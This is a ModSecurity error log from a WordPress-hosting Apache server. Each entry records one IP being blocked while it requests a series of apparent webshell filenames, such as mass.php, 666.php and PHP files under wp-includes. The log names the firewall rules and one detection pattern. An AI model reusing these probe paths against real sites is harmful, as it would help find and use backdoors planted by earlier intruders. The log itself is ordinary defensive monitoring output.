[Thu Feb 26 15:48:32.620713 2026] [:error] [pid 54991:tid 55044] [client 20.151.2.242:28664] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a6s2.php"] [unique_id "aZ_60N4Zx-mJ8gbRB2if6gAAAFg"]
[Thu Feb 26 15:48:34.284110 2026] [:error] [pid 20419:tid 20432] [client 20.151.2.242:28522] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a6s2.php"] [unique_id "aZ_60u3DVDvMfTYYUBXPWQAAAco"]
[Thu Feb 26 15:48:34.996185 2026] [:error] [pid 3883:tid 3908] [client 20.151.2.242:28582] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a6s2.php"] [unique_id "aZ_60uA33x90V6yYHaizmQAAAVY"]
[Thu Feb 26 15:48:35.995338 2026] [:error] [pid 25311:tid 25327] [client 20.151.2.242:28628] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a6s2.php"] [unique_id "aZ_609fdM__yZAgJFSsszgAAAY0"]
[Thu Feb 26 15:48:37.524494 2026] [:error] [pid 55618:tid 55635] [client 20.151.2.242:28591] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aZ_61R61Vrh12f_8oWSjhQAAAQ4"]
[Thu Feb 26 15:48:38.773874 2026] [:error] [pid 25311:tid 25338] [client 20.151.2.242:28630] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aZ_61tfdM__yZAgJFSss2AAAAZg"]
[Thu Feb 26 15:48:39.916675 2026] [:error] [pid 3883:tid 3901] [client 20.151.2.242:28548] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aZ_61-A33x90V6yYHaizsAAAAU8"]
[Thu Feb 26 15:48:40.967545 2026] [:error] [pid 3883:tid 3893] [client 20.151.2.242:28547] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aZ_62OA33x90V6yYHaizuwAAAUc"]
[Thu Feb 26 15:48:42.994817 2026] [:error] [pid 3883:tid 3891] [client 20.151.2.242:28641] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZ_62uA33x90V6yYHaizzgAAAUU"]
[Thu Feb 26 15:48:45.049953 2026] [:error] [pid 3883:tid 3897] [client 20.151.2.242:28533] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZ_63eA33x90V6yYHaiz3AAAAUs"]
[Thu Feb 26 15:48:47.667634 2026] [:error] [pid 20419:tid 20427] [client 20.151.2.242:28614] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZ_63-3DVDvMfTYYUBXPawAAAcU"]
[Thu Feb 26 15:48:48.645046 2026] [:error] [pid 3883:tid 3896] [client 20.151.2.242:28483] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZ_64OA33x90V6yYHaiz-QAAAUo"]
[Thu Feb 26 15:48:49.515615 2026] [:error] [pid 25311:tid 25327] [client 20.151.2.242:28602] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aZ_64dfdM__yZAgJFSss6AAAAY0"]
[Thu Feb 26 15:48:50.761893 2026] [:error] [pid 20419:tid 20445] [client 20.151.2.242:28594] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aZ_64u3DVDvMfTYYUBXPegAAAdc"]
[Thu Feb 26 15:48:52.653694 2026] [:error] [pid 3883:tid 3894] [client 20.151.2.242:28545] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aZ_65OA33x90V6yYHaiz_wAAAUg"]
[Thu Feb 26 15:49:03.061517 2026] [:error] [pid 25311:tid 25325] [client 20.151.2.242:28586] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mah.php"] [unique_id "aZ_679fdM__yZAgJFSss_wAAAYs"]
[Thu Feb 26 15:49:05.260702 2026] [:error] [pid 3883:tid 3900] [client 20.151.2.242:28526] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/product.php"] [unique_id "aZ_68eA33x90V6yYHai0IAAAAU4"]
[Thu Feb 26 15:49:17.893217 2026] [:error] [pid 3883:tid 3909] [client 20.151.2.242:28502] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webdb.php"] [unique_id "aZ_6_eA33x90V6yYHai0gQAAAVc"]
[Thu Feb 26 15:49:19.966610 2026] [:error] [pid 3883:tid 3907] [client 20.151.2.242:28587] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webdb.php"] [unique_id "aZ_6_-A33x90V6yYHai0jgAAAVU"]
[Thu Feb 26 15:49:20.802377 2026] [:error] [pid 25311:tid 25328] [client 20.151.2.242:28635] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webdb.php"] [unique_id "aZ_7ANfdM__yZAgJFSstLQAAAY4"]
[Thu Feb 26 15:49:22.329757 2026] [:error] [pid 54991:tid 55032] [client 20.151.2.242:28634] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webdb.php"] [unique_id "aZ_7At4Zx-mJ8gbRB2igGQAAAEw"]
[Thu Feb 26 15:49:25.435261 2026] [:error] [pid 55618:tid 55642] [client 20.151.2.242:28576] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aZ_7BR61Vrh12f_8oWSj5gAAARU"]
[Thu Feb 26 15:49:28.021291 2026] [:error] [pid 20419:tid 20440] [client 20.151.2.242:28579] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aZ_7CO3DVDvMfTYYUBXP0QAAAdI"]
[Thu Feb 26 15:49:28.720707 2026] [:error] [pid 3883:tid 3892] [client 20.151.2.242:28504] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aZ_7COA33x90V6yYHai0xAAAAUY"]
[Thu Feb 26 15:49:29.777634 2026] [:error] [pid 55122:tid 55127] [client 20.151.2.242:28521] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aZ_7CYLiR0OfjFxvcN_b0AAAAMM"]
[Thu Feb 26 15:49:31.563459 2026] [:error] [pid 55618:tid 55637] [client 20.151.2.242:28603] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZ_7Cx61Vrh12f_8oWSj7gAAARA"]
[Thu Feb 26 15:49:32.542645 2026] [:error] [pid 55122:tid 55139] [client 20.151.2.242:28655] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZ_7DILiR0OfjFxvcN_b1QAAAM8"]
[Thu Feb 26 15:49:37.054529 2026] [:error] [pid 3883:tid 3906] [client 20.151.2.242:28485] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZ_7EeA33x90V6yYHai05wAAAVQ"]
[Thu Feb 26 15:49:38.761915 2026] [:error] [pid 55122:tid 55130] [client 20.151.2.242:28595] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZ_7EoLiR0OfjFxvcN_b3AAAAMY"]
[Thu Feb 26 15:49:42.327152 2026] [:error] [pid 3883:tid 3905] [client 20.151.2.242:28551] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aZ_7FuA33x90V6yYHai0_wAAAVM"]
[Thu Feb 26 15:49:47.437649 2026] [:error] [pid 55618:tid 55640] [client 20.151.2.242:28578] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aZ_7Gx61Vrh12f_8oWSkCwAAARM"]
[Thu Feb 26 15:49:49.382795 2026] [:error] [pid 3883:tid 3903] [client 20.151.2.242:28534] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aZ_7HeA33x90V6yYHai1HwAAAVE"]
[Thu Feb 26 15:49:50.358461 2026] [:error] [pid 55618:tid 55642] [client 20.151.2.242:28420] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aZ_7Hh61Vrh12f_8oWSkEQAAARU"]
[Thu Feb 26 15:49:51.936425 2026] [:error] [pid 3883:tid 3903] [client 20.151.2.242:28669] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mass.php"] [unique_id "aZ_7H-A33x90V6yYHai1JwAAAVE"]
[Thu Feb 26 15:49:52.929079 2026] [:error] [pid 55051:tid 55072] [client 20.151.2.242:28671] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mass.php"] [unique_id "aZ_7IAmK1w2kZvh5eLH6UQAAAJI"]
[Thu Feb 26 15:49:53.932366 2026] [:error] [pid 55051:tid 55068] [client 20.151.2.242:28661] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mass.php"] [unique_id "aZ_7IQmK1w2kZvh5eLH6pwAAAI4"]
[Thu Feb 26 15:49:54.848275 2026] [:error] [pid 3883:tid 3892] [client 20.151.2.242:28623] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mass.php"] [unique_id "aZ_7IuA33x90V6yYHai1MgAAAUY"]
[Thu Feb 26 15:49:57.115244 2026] [:error] [pid 54991:tid 55029] [client 20.151.2.242:28571] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rindex.php"] [unique_id "aZ_7Jd4Zx-mJ8gbRB2igaAAAAEk"]
[Thu Feb 26 15:50:00.159305 2026] [:error] [pid 54991:tid 55043] [client 20.151.2.242:28642] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rindex.php"] [unique_id "aZ_7KN4Zx-mJ8gbRB2igdAAAAFc"]
[Thu Feb 26 15:50:01.003379 2026] [:error] [pid 55618:tid 55642] [client 20.151.2.242:28506] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rindex.php"] [unique_id "aZ_7KR61Vrh12f_8oWSkJwAAARU"]
[Thu Feb 26 15:50:03.571269 2026] [:error] [pid 55051:tid 55066] [client 20.151.2.242:28617] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rindex.php"] [unique_id "aZ_7KwmK1w2kZvh5eLH8DwAAAIw"]
[Thu Feb 26 15:50:04.617798 2026] [:error] [pid 55051:tid 55055] [client 20.151.2.242:28583] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aZ_7LAmK1w2kZvh5eLH8EQAAAIE"]
[Thu Feb 26 15:50:05.670233 2026] [:error] [pid 3883:tid 3905] [client 20.151.2.242:28654] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aZ_7LeA33x90V6yYHai1cQAAAVM"]
[Thu Feb 26 15:50:06.924244 2026] [:error] [pid 25311:tid 25331] [client 20.151.2.242:28575] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aZ_7LtfdM__yZAgJFSstyAAAAZE"]
[Thu Feb 26 15:50:08.372060 2026] [:error] [pid 3883:tid 3889] [client 20.151.2.242:28645] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aZ_7MOA33x90V6yYHai1kwAAAUM"]
[Thu Feb 26 15:50:09.251675 2026] [:error] [pid 55122:tid 55139] [client 20.151.2.242:28495] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/add.php"] [unique_id "aZ_7MYLiR0OfjFxvcN_cswAAAM8"]
[Thu Feb 26 15:50:11.804996 2026] [:error] [pid 55618:tid 55624] [client 20.151.2.242:28665] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/add.php"] [unique_id "aZ_7Mx61Vrh12f_8oWSkPgAAAQM"]
[Thu Feb 26 15:50:13.837371 2026] [:error] [pid 25311:tid 25323] [client 20.151.2.242:28559] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/add.php"] [unique_id "aZ_7NdfdM__yZAgJFSsuXwAAAYk"]
[Thu Feb 26 15:50:14.610826 2026] [:error] [pid 25311:tid 25338] [client 20.151.2.242:28535] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/add.php"] [unique_id "aZ_7NtfdM__yZAgJFSsuZwAAAZg"]
[Thu Feb 26 15:50:19.212896 2026] [:error] [pid 3883:tid 3890] [client 20.151.2.242:28562] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZ_7O-A33x90V6yYHai2WQAAAUQ"]
[Thu Feb 26 15:50:22.998459 2026] [:error] [pid 20419:tid 20422] [client 20.151.2.242:28567] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/include.php"] [unique_id "aZ_7Pu3DVDvMfTYYUBXRhwAAAcA"]
[Thu Feb 26 15:50:26.370698 2026] [:error] [pid 3883:tid 3893] [client 20.151.2.242:28615] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZ_7QuA33x90V6yYHai2eAAAAUc"]
[Thu Feb 26 15:50:40.786473 2026] [:error] [pid 20419:tid 20440] [client 20.151.2.242:28596] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/wp-login.php"] [unique_id "aZ_7UO3DVDvMfTYYUBXRuQAAAdI"]
[Thu Feb 26 15:50:46.448516 2026] [:error] [pid 55618:tid 55645] [client 20.151.2.242:28610] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/text.php"] [unique_id "aZ_7Vh61Vrh12f_8oWSkqQAAARg"]
[Thu Feb 26 15:50:47.540482 2026] [:error] [pid 20419:tid 20433] [client 20.151.2.242:28427] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/text.php"] [unique_id "aZ_7V-3DVDvMfTYYUBXRzAAAAcs"]
[Thu Feb 26 15:50:48.173520 2026] [:error] [pid 20419:tid 20437] [client 20.151.2.242:28549] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/text.php"] [unique_id "aZ_7WO3DVDvMfTYYUBXR0AAAAc8"]
